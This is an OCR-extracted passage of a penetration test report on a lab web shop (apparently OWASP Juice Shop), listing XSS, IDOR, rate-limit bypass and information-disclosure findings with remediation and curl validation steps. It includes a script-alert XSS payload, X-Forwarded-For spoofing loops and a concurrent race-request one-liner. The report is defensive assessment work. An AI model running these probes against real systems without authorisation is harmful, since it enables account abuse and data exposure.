leakage, and cross-origin abuse. **Also includes:** Deprecated Feature-Policy Header

IMPACT

Missing security headers weaken browser-side defenses against XSS, clickjacking, cross-
origin data leakage, and downgrade risks. This increases the impact of other client-side

vulnerabilities.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Wildcard CORS "*°; missing CSP, HSTS, Referrer-Policy, Permissions-Policy, COEP,
COOP, CORP; deprecated ‘Feature-Policy' observed.

REMEDIATION

IMMEDIATE (24-48H)

Add baseline headers including X-Frame-Options or frame-ancestors, Referrer-
Policy, and X-Content-Type-Options.

SHORT-TERN (1-2 WEEKS)




Deploy a restrictive CSP, HSTS on HTTPS, Permissions-Policy, and appropriate
COOP/COEP/CORP headers.

LONG-TERM (1-3 MONTHS)

Manage browser security headers centrally and validate them continuously in CI/CD
and production monitoring.

VALIDATION STEPS

$ curl -sI 'http://<TARGET_DOMAIN>/'
$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -Ei 'content-security-policy]|strict-
transport-security|x-frame-options|referrer-policy|permissions-policy"’

$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -Ei 'access-control|cross-origin’

WMEDIUM VULN-lunar-ti-0032
Unauthenticated Continue Code Disclosure

AV: Unauthenticated information disclosure Asset: GET /rest/continue-code on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The /rest/continue-code endpoint returns a continue code without requiring
authentication. This exposes application state or recovery/progress data to
unauthenticated users.

IMPACT

Unauthenticated continue-code disclosure can reveal application state or recovery data
to unauthorized users. This may assist attackers in bypassing workflow controls or
understanding internal progress tracking.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Continue code exposed without authentication:

Dbgmk j 3K154a19wXMVePv7GMvSYYh7DhrZIx10YzEBgpWOyZRn8L2JQx6Nor

REMEDIATION

IMMEDIATE (24-48H)



Require authentication for /rest/continue-code or disable the endpoint if not
needed.

SHORT-TERNM (1-2 WEEKS)

Ensure returned codes are scoped to the authenticated user and contain no
sensitive state.

LONG-TERM (1-3 MONTHS)

Review recovery and progress endpoints under a standard authorization and data-
minimization model.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/continue-code’
$ curl -s 'http://<TARGET_DOMAIN>/rest/continue-code' | jq
$ curl -i -H 'Authorization: Bearer invalid' 'http://<TARGET_DOMAIN>/rest/continue-

code’

MEDIUM VULN-1unar-ti-0033
Redirect Error Message Discloses Attempted URL

AV: Error message information disclosure Asset: GET /redirect?to= on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The /redirect endpoint validates redirect targets but echoes attempted redirect URLs in
error responses. This can disclose attacker-controlled input and internal validation

behavior.

IMPACT

Echoing attempted redirect URLs reveals validation behavior and may expose attacker-
supplied or internal URLs in responses and logs. This can assist reconnaissance and social
engineering attempts.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

/redirect?to= validates URLs strictly; all bypass attempts returned 406; error

messages disclose attempted URL; stack trace reveals /juice-



shop/build/routes/redirect.js:45:18

REMEDIATION

IMMEDIATE (24-48H)

Stop echoing rejected redirect targets in client-facing error messages.

SHORT-TERNM (1-2 WEEKS)

Use a strict allowlist of redirect destinations and generic validation errors.

LONG-TERM (1-3 MONTHS)

Centralize redirect handling and add tests for open redirect, input reflection, and

error disclosure cases.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/redirect?to=http://example.com’
$ curl -s 'http://<TARGET_DOMAIN>/redirect?to=http://example.com' | grep -i
'example.com’

$ curl -i 'http://<TARGET_DOMAIN>/redirect?to=http://localhost/admin’

MEDIUM  VULN-lunar-ti-0035

DOM XSS via bypassSecurityTrustHtml

CWE: CWE-79 CVSS: 6.1 AV: DOM XSS
Asset: main.js lines 3101, 3133, 3149, 3173, 3177, 3290 on port 3000 Target: http://172.17.0.4:3000

OWASP: A03:2021 — Injection

DESCRIPTION

Multiple uses of Angular bypassSecurityTrustHtml disable Angular's built-in HTML
sanitization. User-controlled data from API responses is rendered as trusted HTML in
product descriptions, user emails, feedback comments, challenge descriptions, track
order results, and captcha images, creating DOM XSS risk.

IMPACT

Bypassing Angular sanitization can allow attacker-controlled HTML to execute as script
when rendered in vulnerable components. This can result in account compromise, data
theft, or unauthorized user actions.

DIMENSION RATING
Confidentiality Medium
Integrity Low
Availability Low

Compliance Medium



EVIDENCE

Source-sink flow: API response data - bypassSecurityTrustHtml() - innerHTML;
Evidence: main.js multiple lines; Line 3101 track order results, line 3133 product
descriptions, line 3149 user search/filter, line 3173 user email display and image

captcha, line 3177 feedback comments, line 3290 challenge descriptions.

REMEDIATION

IMMEDIATE (24-48H)

Remove unsafe bypassSecurityTrustHtml usage for user-controlled data or disable
affected rendering paths.

SHORT-TERM (1-2 WEEKS)

Replace trusted HTML rendering with sanitized templates and context-aware
encoding.

LONG-TERM (1-3 MONTHS)

Create secure Angular rendering guidelines and enforce them with code review,
linting, and XSS tests.

VALIDATION STEPS

$ curl -s 'http://<TARGET_DOMAIN>/main.js’' | grep -n 'bypassSecurityTrustHtml’

$ curl -s 'http://<TARGET_DOMAIN>/main.js' | nl -ba | sed -n '3090,3300p' | grep -n
'bypassSecurityTrustHtml'’

$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -i 'content-security-policy’

MEDIUM  VULN-lunar-ti-0036

document.write() data export XSS vector

CWE: CWE-79 CVSS: 6.1 AV: DOM XSS Asset: main.js line 3173 data export feature on port 3000
Target: http://172.17.0.4:3000 OWASP: AB3:2021 — Injection
DESCRIPTION

The data export feature writes user data directly into a new browser window using
document.write(). If exported data contains HTML or JavaScript, it may be executed in
the browser.

IMPACT

Using document.write with exported user data can execute malicious HTML or JavaScript
in the browser. This may expose session data or allow unauthorized actions under the

victim's account.



DIMENSION RATING

Confidentiality Medium
Integrity Medium
Availability Low
Compliance Medium
EVIDENCE
window.open("","_blank", "width=500")?.document.write(this.userData); Source:

dataSubjectService.dataExport() response; Evidence: main.js line 3173

REMEDIATION

IMMEDIATE (24-48H)

Disable the unsafe export feature or encode all exported data before writing it to a

new window.

SHORT-TERN (1-2 WEEKS)

Replace document.write with safe DOM APIs using textContent or generated
downloadable files.

LONG-TERM (1-3 MONTHS)

Adopt secure client-side export components and ban document.write through
linting and code review standards.

VALIDATION STEPS

$ curl -s 'http://<TARGET_DOMAIN>/main.js' | grep -n 'document.write’
$ curl -s 'http://<TARGET_DOMAIN>/main.js' | nl -ba | sed -n '3160,3185p"

$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -i 'content-security-policy'

MEDIUM  VULN-lunar-ti-0037

Reflected DOM XSS in Search Functionality

CWE: CWE-79 CVSS: 6.1 AV: Reflected XSS Asset: SPA search bar/search results, port 3000
Target: http://172.17.0.4:3000 OWASP: AB3:2021 — Injection
DESCRIPTION

The SPA search functionality reflects user-provided search input into the DOM. A
malicious search string can be reflected in the search results message and may execute
JavaScript if rendered without proper sanitization.

IMPACT



Reflected DOM XSS in search can execute attacker-supplied JavaScript when a victim
opens a crafted URL or enters malicious input. This can lead to session theft, phishing,
and unauthorized browser actions.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Enter <script>alert(1)</script> in the search input and submit; the payload is

reflected in: "No products found for '<script>alert(1)</script>'"

REMEDIATION

IMMEDIATE (24-48H)

Encode search terms before displaying them and disable unsafe HTML rendering in
search results.

SHORT-TERNM (1-2 WEEKS)

Validate and sanitize search input and implement a restrictive Content Security
Policy.

LONG-TERM (1-3 MONTHS)

Standardize safe DOM binding practices and add automated reflected XSS tests to
the frontend pipeline.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/#/search?g=xss-test’

$ curl -s 'http://<TARGET_DOMAIN>/main.js' | grep -Ei

'search|innerHTML |bypassSecurityTrustHtml' | head -n 30

$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -i 'content-security-policy'

MEDIUM VULN-1lunar-ti-0039
Rate Limiting Bypass via X-Forwarded-For

AV: Rate limit bypass Asset: http://172.17.0.4:3000/rest/user/reset-password

Target: http://172.17.0.4:3000

DESCRIPTION



Rate limiting on the password reset endpoint can be bypassed by spoofing the X-
Forwarded-For header. This allows attackers to evade throttling and perform repeated
password reset attempts.

IMPACT

Spoofing X-Forwarded-For to bypass rate limits enables repeated password reset
attempts without effective throttling. This can support enumeration, inbox flooding, and

abuse of recovery workflows.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Rate limiting on /rest/user/reset-password bypassable via X-Forwarded-For header

spoofing

REMEDIATION

IMMEDIATE (24-48H)

Ignore client-supplied X-Forwarded-For unless it is set by a trusted proxy.

SHORT-TERNM (1-2 WEEKS)

Configure trusted proxy handling and rate-limit on authenticated user, account
target, and verified client IP.

LONG-TERM (1-3 MONTHS)

Deploy centralized abuse protection with proxy-aware client identity and anomaly
detection.

VALIDATION STEPS

$ curl -i -H 'X-Forwarded-For: 1.1.1.1" 'http://<TARGET_DOMAIN>/rest/user/reset-
password"’

$ curl -i -H 'X-Forwarded-For: 2.2.2.2"' 'http://<TARGET_DOMAIN>/rest/user/reset-
password"’

$ for i in 1 2 3; do curl -sI -H "X-Forwarded-For: 10.0.0.$i"
"http://<TARGET_DOMAIN>/rest/user/reset-password’ | grep -Ei

'rate|limit|remaining|retry|HTTP'; done

MEDIUM  VULN-lunar-ti-0040



User Address PIl Exposure

AV: Sensitive data exposure Asset: http://172.17.0.4:3000/api/Addresss

Target: http://172.17.0.4:3000

DESCRIPTION

The /api/Addresss endpoint exposes user address personally identifiable information.

Unauthorized access to address data can compromise user privacy and support identity

theft or targeted attacks.

IMPACT

Address exposure leaks personally identifiable information that can be used for identity
theft, fraud, or targeted social engineering. Unauthorized disclosure may also create
regulatory and contractual privacy exposure.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance High
EVIDENCE

User Address PII Exposure on /api/Addresss on port 3000

REMEDIATION

IMMEDIATE (24-48H)

Restrict address records to the owning user or authorized administrators only.

SHORT-TERN (1-2 WEEKS)

Apply field-level filtering, object-level authorization, and audit access to address
data.

LONG-TERM (1-3 MONTHS)

Implement privacy-focused API governance with PIl classification and continuous
access-control testing.

VALIDATION STEPS

$ curl -i -H '"Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/api/Addresss’
$ curl -s -H "Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/api/Addresss’ | jq .




$ curl -s -H "Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/api/Addresss’' | grep -Ei 'street|city|zip|country|UserId’

MEDIUM  VULN-lunar-ti-0042

APl Schema Validation Disclosure

AV: Schema probing/information disclosure Asset: POST /rest/chat on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

Invalid message formats disclose the expected APl schema and supported message
roles. This enables reverse-engineering of the APl contract and may assist in crafting
attacks against the Al chat interface.

IMPACT

Schema validation errors reveal the expected APl contract and supported message roles.
Attackers can use this information to craft more precise requests and abuse the chat

interface.
DIMENSION RATING
Confidentiality Medium
Integrity Low
Availability Low
Compliance Medium
EVIDENCE
Error messages: "messages must not be empty”, "do not match the ModelMessage|]

schema"; disclosed supported roles: user, system, assistant

REMEDIATION

IMMEDIATE (24-48H)

Return generic validation errors that do not disclose full schemas or internal role
rules.

SHORT-TERNM (1-2 WEEKS)

Use server-side schema validation with sanitized error responses and detailed
logging only on the server.

LONG-TERM (1-3 MONTHS)

Define API error-handling standards and include schema-disclosure checks in
security testing.




VALIDATION STEPS

$ curl -i -X POST -H 'Content-Type: application/json' --data-raw
"{"invalid":"value"}"' 'http://<TARGET_DOMAIN>/rest/chat’

$ curl -s -X POST -H 'Content-Type: application/json' --data-raw
"{"invalid":"value"}"' 'http://<TARGET_DOMAIN>/rest/chat’ | jq .

$ curl -s -X POST -H 'Content-Type: application/json' --data-raw '[]’
"http://<TARGET_DOMAIN>/rest/chat’

MEDIUM  VULN-lunar-ti-0043
Race Condition - Duplicate Complaint Submissions

AV: Race condition Asset: POST /api/Complaints on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

The complaints endpoint allows concurrent duplicate submissions. Twenty concurrent
submissions succeeded with sequential IDs, enabling duplicate resource creation, data
integrity issues, and spam amplification.

IMPACT

Concurrent duplicate complaint submissions can create excessive records and degrade
data quality. This may enable spam amplification, operational noise, and integrity issues in

support workflows.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

20/20 concurrent submissions succeeded with sequential IDs (7-26)

REMEDIATION

IMMEDIATE (24-48H)

Add temporary duplicate submission checks and per-user throttling for complaints.

SHORT-TERM (1-2 WEEKS)

Implement idempotency keys, deduplication logic, and database constraints for
complaint creation.

LONG-TERM (1-3 MONTHS)




Design write APIs with concurrency-safe patterns and automated race-condition
tests.

VALIDATION STEPS

$ curl -i -X POST -H 'Authorization: Bearer <JWT_TOKEN>"' -H 'Content-Type:
application/json’ --data-raw '{"message”:"race-test","UserId”:1}"
"http://<TARGET_DOMAIN>/api/Complaints’

$ seq 1 20 | xargs -P20 -I{} curl -s -o /dev/null -w '%{http_code}\n' -X POST -H
'Authorization: Bearer <JWT_TOKEN>' -H 'Content-Type: application/json' --data-raw
"{"message”: "race-test", "UserId":1}' 'http://<TARGET_DOMAIN>/api/Complaints’

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/api/Complaints' | grep 'race-test’

MEDIUM VULN-lunar-ti-0044
Insecure Session Cookie Attributes

AV: Insecure session management Asset: token cookie for http://172.17.0.4:3000

Target: http://172.17.0.4:3000

DESCRIPTION

The authentication session cookie lacks HttpOnly and Secure protections. This increases
the risk of token theft through client-side script access or transmission over insecure

channels.

IMPACT

Session cookies without HttpOnly and Secure are more exposed to theft through XSS or
insecure transport. Stolen cookies can allow account impersonation until the session is
revoked or expires.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

token cookie flags: HttpOnly: False, Secure: False

REMEDIATION

IMMEDIATE (24-48H)

Set HttpOnly, Secure, and SameSite attributes on authentication cookies.




SHORT-TERM (1-2 WEEKS)

Serve authentication flows only over HTTPS and review all cookie attributes for
session-related cookies.

LONG-TERM (1-3 MONTHS)

Centralize session cookie issuance and continuously test cookie security attributes
in deployment pipelines.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/' | grep -i 'set-cookie’

$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -i 'set-cookie'

$ curl -i -H 'Content-Type: application/json' --data-raw '{"email”:"
<USER_EMAIL>", "password":"<PASSWORD>"}' 'http://<TARGET_DOMAIN>/rest/user/login' |

grep -i 'set-cookie’

MEDIUM  VULN-lunar-ti-0045

Shopping Basket IDOR

CWE: CWE-639 CVsSS: 6.5 AV: IDOR Asset: http://172.17.0.4:3000/rest/basket/{id}
Target: http://172.17.0.4:3000 OWASP: AQ1:2021 — Broken Access Control
DESCRIPTION

The /rest/basket/{id} endpoint allows a user to access shopping baskets belonging to
other users. Responses include ownership information via the Userld field.

IMPACT

Basket IDOR allows users to view or interact with shopping baskets belonging to other
accounts. This can expose purchase intent, user identifiers, and potentially enable
unauthorized cart manipulation.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Customer token accessed admin's basket (id=1, UserId=1), user 2's basket, and user

3's basket. Response confirms basket ownership via UserId field.

REMEDIATION

IMMEDIATE (24-48H)



Enforce ownership checks on /rest/basket/{id} before returning basket data.

SHORT-TERNM (1-2 WEEKS)

Replace direct basket ID access with user-scoped queries and non-enumerable

identifiers.

LONG-TERM (1-3 MONTHS)

Implement centralized object authorization policies and regression tests for all user-

owned resources.

VALIDATION STEPS

$ curl -i -H '"Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/rest/basket/1'
$ curl -i -H '"Authorization: Bearer <JWT_TOKEN>"
"http://<TARGET_DOMAIN>/rest/basket/2'
$ curl -s -H "Authorization: Bearer <JWT_TOKEN>'

"http://<TARGET_DOMAIN>/rest/basket/2' | jq .

MEDIUM VULN-1lunar-ti-0046
Complaints Data Exposure via Missing Ownership Checks
AV: IDOR Asset: http://172.17.0.4:3000/api/Complaints Target: http://172.17.0.4:3000

DESCRIPTION

The /api/Complaints endpoint returns all user complaints without enforcing ownership

filtering, exposing complaint data and Userld references to unauthorized users.

IMPACT

Complaint data exposure reveals user-submitted content and Userld references across
accounts. This can disclose sensitive support information and violate user privacy
expectations.

DIMENSION RATING

Confidentiality Medium

Integrity Low

Availability Low

Compliance Medium
EVIDENCE

Returns all user complaints with UserId references. No ownership filtering.

REMEDIATION



VALIDATION STEPS

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/api/Complaints’

$ curl -s -H '"Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/api/Complaints’ | iq .

$ curl -s -H "Authorization: Bearer <JWT_TOKEN>'

"http://<TARGET_DOMAIN>/api/Complaints’' | grep -Ei

"message |UserId|email’




.« Low Severity Findings

Lol VULN-1lunar-ti-0049
Sensitive Path Disclosure in robots.txt

AV: Information disclosure Asset: GET http://172.17.0.4:3000/robots.txt

Target: http://172.17.0.4:3000

DESCRIPTION

The robots.txt file discloses the /ftp path. This helps attackers discover sensitive or
unintended directories that may otherwise be hidden from casual browsing.

IMPACT

robots.txt discloses sensitive paths that attackers can use for reconnaissance. This can

lead to discovery of exposed directories or unintended resources.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

GET http://172.17.0.4:3000/robots.txt - 200 OK, contains Disallow: /ftp

REMEDIATION

IMMEDIATE (24-48H)

Remove sensitive or non-public paths from robots.txt.

SHORT-TERM (1-2 WEEKS)

Ensure paths listed in robots.txt are not relied on for security and are properly
access-controlled.

LONG-TERM (1-3 MONTHS)

Include public metadata files in release reviews to prevent unintended path
disclosure.

VALIDATION STEPS



$ curl -i 'http://<TARGET_DOMAIN>/robots.txt’
$ curl -s 'http://<TARGET_DOMAIN>/robots.txt’' | grep -i '/ftp’
$ curl -i 'http://<TARGET_DOMAIN>/ftp’

Lo VULN-lunar-ti-0050
Hidden Route Disclosure via X-Recruiting Header

AV: Header-based information disclosure Asset: HTTP response headers on http://172.17.0.4:3000

Target: http://172.17.0.4:3000

DESCRIPTION

A non-standard HTTP response header discloses a hidden application route. Attackers
can use this information to discover non-obvious functionality for further testing.

IMPACT

A hidden route disclosed in a response header helps attackers identify non-obvious
functionality. This increases reconnaissance value and may expose endpoints not

intended for discovery.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

X-Recruiting: /#/jobs

REMEDIATION

IMMEDIATE (24-48H)

Remove the X-Recruiting header from production responses.

SHORT-TERNM (1-2 WEEKS)

Audit custom headers for information disclosure and suppress nonessential headers.

LONG-TERM (1-3 MONTHS)

Manage response headers through a hardened baseline applied consistently at the
edge.

VALIDATION STEPS



$ curl -sI "http://<TARGET_DOMAIN>/'
$ curl -sI 'http://<TARGET_DOMAIN>/' | grep -i 'X-Recruiting’
$ curl -i 'http://<TARGET_DOMAIN>/' | grep -i 'X-Recruiting’

Lo VULN-1lunar-ti-0051
Internal URL and Hidden Route Disclosure in security.txt

AV: Information disclosure Asset: GET /security.txt and GET /.well-known/security.txt

Target: http://172.17.0.4:3000

DESCRIPTION

The security.txt file is publicly accessible and discloses internal or environment-specific
URLs and hidden application routes. This can aid reconnaissance and reveal
misconfigured references such as localhost URLs.

IMPACT

security.txt disclosure of internal URLs and hidden routes can aid reconnaissance and
reveal environment-specific configuration mistakes. Attackers can use these references
to infer internal architecture or target hidden functionality.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

GET /security.txt - 200 OK; GET /.well-known/security.txt - 200 OK; includes Contact:
mailto:donotreplyaowasp-juice.shop, Acknowledgements: /#/score-board, Hiring:

/#/jobs, CSAF URL http://localhost:3000/.well-known/csaf/provider-metadata.json

REMEDIATION

IMMEDIATE (24-48H)

Remove internal URLs and hidden route references from security.txt.

SHORT-TERNM (1-2 WEEKS)

Publish only approved external contact and policy information in well-known
security files.

LONG-TERM (1-3 MONTHS)




Add public metadata file review to release management and configuration validation
processes.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/security.txt’
$ curl -i 'http://<TARGET_DOMAIN>/.well-known/security.txt’
$ curl -s 'http://<TARGET_DOMAIN>/.well-known/security.txt' | grep -Ei

'localhost|127.0.0.1|hidden|http’

LOW  VULN-lunar-ti-0052

FTP Extension Restriction Logic Disclosed

AV: Error message information disclosure Asset: GET /ftp on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION
A 403 error from the /ftp area discloses file extension restriction logic. This reveals
server-side filtering rules and may assist attackers in crafting bypass attempts.
IMPACT

Disclosing file extension restriction logic reveals server-side filtering behavior. Attackers
can use this information to craft bypass attempts or identify allowed file types.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

403 error at /ftp discloses file extension restriction logic: Only .md and .pdf files

are allowed

REMEDIATION

IMMEDIATE (24-48H)

Replace detailed extension restriction errors with generic access-denied messages.

SHORT-TERNM (1-2 WEEKS)

Enforce file access controls server-side without exposing filtering rules.

LONG-TERM (1-3 MONTHS)




Standardize error handling for static and file-serving paths to prevent control
disclosure.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/ftp/test.exe’
$ curl -s 'http://<TARGET_DOMAIN>/ftp/test.exe' | grep -Ei
'forbidden|extension|allowed|file type’

$ curl -i 'http://<TARGET_DOMAIN>/ftp/'

Lo VULN-lunar-ti-0054
Unauthenticated Internal Data Leakage

AV: Unauthenticated information disclosure Asset: GET /rest/continue-code, GET /rest/user/whoami

Target: http://172.17.0.4:3000

DESCRIPTION

Endpoints returned internal application data without a valid authenticated session. This
may expose sensitive state or tokens useful for further attacks.

IMPACT

Unauthenticated internal data leakage can expose application state or tokens useful for
chaining attacks. Even low-sensitivity data can help attackers map workflows and identify
weak access controls.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

GET /rest/continue-code returned
' Dbgmk j3K154al19wXMVePv7GMvSYYh7DhrZIx10YzEBgpWOyZRn8L2JQx6Nor " ; GET /rest/user/whoami

returns data without a valid session.

REMEDIATION
IMMEDIATE (24-48H)

Require authentication for endpoints returning internal state or user-related data.

SHORT-TERM (1-2 WEEKS)

Audit unauthenticated REST endpoints and remove or minimize disclosed data.




LONG-TERM (1-3 MONTHS)

Maintain an APl exposure inventory with automated tests for anonymous access and
sensitive data leakage.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/continue-code’
$ curl -i 'http://<TARGET_DOMAIN>/rest/user/whoami’

$ curl -s 'http://<TARGET_DOMAIN>/rest/user/whoami’ | jq

LOW VULN-1lunar-ti-0055
Default Admin Image Exposed

AV: Information disclosure Asset: /assets/public/images/uploads/defaultAdmin.png on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

A default admin image is publicly accessible. This may disclose the presence of an
administrative account or default application assets useful for fingerprinting.
IMPACT

A publicly accessible default admin image can reveal administrative account conventions
and application fingerprinting details. While low impact alone, it can support broader
reconnaissance.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

http://172.17.0.4:3000/assets/public/images/uploads/defaultAdmin.png

REMEDIATION

IMMEDIATE (24-48H)

Remove unused default administrative assets from public paths.

SHORT-TERM (1-2 WEEKS)

Review public static assets for sensitive naming, default account references, or
environment-specific content.




LONG-TERM (1-3 MONTHS)

Implement asset publishing controls that exclude internal or administrative artifacts
by default.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/assets/public/images/uploads/defaultAdmin.png’

$ curl -sI 'http://<TARGET_DOMAIN>/assets/public/images/uploads/defaultAdmin.png’
$ curl -s 'http://<TARGET_DOMAIN>/assets/public/images/uploads/defaultAdmin.png’ |
file -

Lo VULN-1lunar-ti-0056
CSAF Provider Metadata Exposure

AV: Information disclosure Asset: /.well-known/csaf/provider-metadata.json on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

CSAF provider metadata is publicly exposed under the well-known path. This may
disclose security advisory metadata and provider information that can assist
fingerprinting or reconnaissance.

IMPACT

Public CSAF provider metadata can disclose advisory provider information and support
application fingerprinting. This may help attackers identify security processes, products,
or deployment assumptions.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

http://172.17.0.4:3000/ .well-known/csaf/provider-metadata. json

REMEDIATION

IMMEDIATE (24-48H)

Remove CSAF metadata if it is not intentionally published.

SHORT-TERNM (1-2 WEEKS)




Review the metadata for internal URLs or unnecessary provider details before
publication.

LONG-TERM (1-3 MONTHS)

Govern well-known security metadata through an approval process aligned with
disclosure policy.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/.well-known/csaf/provider-metadata.json’
$ curl -s 'http://<TARGET_DOMAIN>/.well-known/csaf/provider-metadata.json’ | jq .
$ curl -s 'http://<TARGET_DOMAIN>/.well-known/csaf/provider-metadata.json’ | grep -Ei

'provider|metadata|url’

LOWm VULN-1lunar-ti-0057
Unprotected Large Media File
AV: Unauthenticated resource access Asset: /Video on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

A large media file is publicly accessible at /Video without protection. This may expose
unintended content and can be abused to consume bandwidth.

IMPACT

An unprotected large media file can expose unintended content and be abused for
bandwidth consumption. This may increase hosting costs or degrade service availability if
repeatedly downloaded.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

Large Media File Unprotected at /Video (~10MB) on port 3000

REMEDIATION

IMMEDIATE (24-48H)

Remove the media file from public access or place it behind authentication.

SHORT-TERNM (1-2 WEEKS)




Add access controls, caching rules, and download rate limits for large media

resources.

LONG-TERM (1-3 MONTHS)

Manage large static content through approved storage/CDN workflows with
authorization and cost controls.

VALIDATION STEPS

$ curl -I 'http://<TARGET_DOMAIN>/Video'

$ curl -sI 'http://<TARGET_DOMAIN>/Video' | grep -Ei 'content-length|content-
type | accept-ranges’

$ curl -r 0-1023 -o /dev/null -w '%{http_code} %{size_download}\n"

"http://<TARGET_DOMAIN>/Video’

LOW VULN-lunar-ti-0058

Internal IP references exposed in client-side code

AV: Information disclosure Asset: chunk-UNFVUBM2.js and chunk-KD3CNUZG.js on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

Multiple internal 10.x.x.x IP address patterns were found in client-side JavaScript bundles.
This may reveal internal network topology or implementation details to unauthenticated

users.

IMPACT

Internal IP references in client-side code can reveal network topology or deployment
assumptions. This information may assist attackers during reconnaissance and lateral

attack planning.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

Evidence: chunk-UNFVUBM2.js, chunk-KD3CNUZG.js; Multiple 10.x.x.x IP address patterns

found in minified bundles.

REMEDIATION

IMMEDIATE (24-48H)




Remove internal IP references from client-side bundles and rebuild the frontend.

SHORT-TERNM (1-2 WEEKS)

Move environment-specific configuration to server-side configuration or sanitized

public config values.

LONG-TERM (1-3 MONTHS)

Add build-time checks to prevent internal network indicators from being included in

public artifacts.

VALIDATION STEPS

$ curl -s 'http://<TARGET_DOMAIN>/chunk-UNFVUBM2.js' | grep -Eo '10\.[0-9]+\.[0-9]+\.
[0-9]+" | head

$ curl -s 'http://<TARGET_DOMAIN>/chunk-KD3CNUZG.js' | grep -Eo '10\.[0-9]+\.[0-9]+\.
[0-9]+" | head

$ curl -sI 'http://<TARGET_DOMAIN>/chunk-UNFVUBM2.js"

Lol VULN-lunar-ti-0059
Internal metadata and network references disclosed
AV: Information disclosure Asset: security.txt; JavaScript bundles Target: http://172.17.0.4:3000

DESCRIPTION

Client-accessible resources disclosed internal or local infrastructure references, including
a localhost CSAF metadata URL and multiple 10.x.x.x references in JavaScript bundles. This

may aid attackers in mapping internal application assumptions or deployment details.

IMPACT

Disclosure of localhost and internal network references helps attackers infer internal
architecture and environment assumptions. This can improve reconnaissance and aid

chaining with other vulnerabilities.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

http://localhost:3000/.well-known/csaf/provider-metadata.json; Multiple 10.x.x.X

references in JS bundles

REMEDIATION



IMMEDIATE (24-48H)

Remove internal and localhost references from public files and client-side bundles.

SHORT-TERNM (1-2 WEEKS)

Audit all public static files for environment-specific references before deployment.

LONG-TERM (1-3 MONTHS)

Implement automated artifact scanning for internal URLs, IPs, and metadata in CI/CD.

VALIDATION STEPS

$ curl -s 'http://<TARGET_DOMAIN>/security.txt' | grep -Ei 'localhost|127.0.0.1]10\."
$ curl -s 'http://<TARGET_DOMAIN>/.well-known/security.txt' | grep -Ei
'localhost|[127.0.0.1]106\."

$ curl -s 'http://<TARGET_DOMAIN>/chunk-UNFVUBM2.js' | grep -Eo '10\.[0-9]+\.[0-9]+\.
[0-9]+" | head

LOW VULN-1lunar-ti-0060
Password Reset Information Leakage

AV: Information disclosure via password reset errors Asset: Password reset functionality on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The password reset functionality enforces a 100 request rate limit, but error responses
leak internal path information. This disclosure can assist attackers in understanding
application internals.

IMPACT

Password reset errors that leak internal paths help attackers understand implementation
details. This can assist targeted probing of recovery workflows and backend components.

DIMENSION RATING

Confidentiality Low

Integrity Low

Availability Low

Compliance Low
EVIDENCE

100 request limit but errors leak internal paths

REMEDIATION



IMMEDIATE (24-48H)

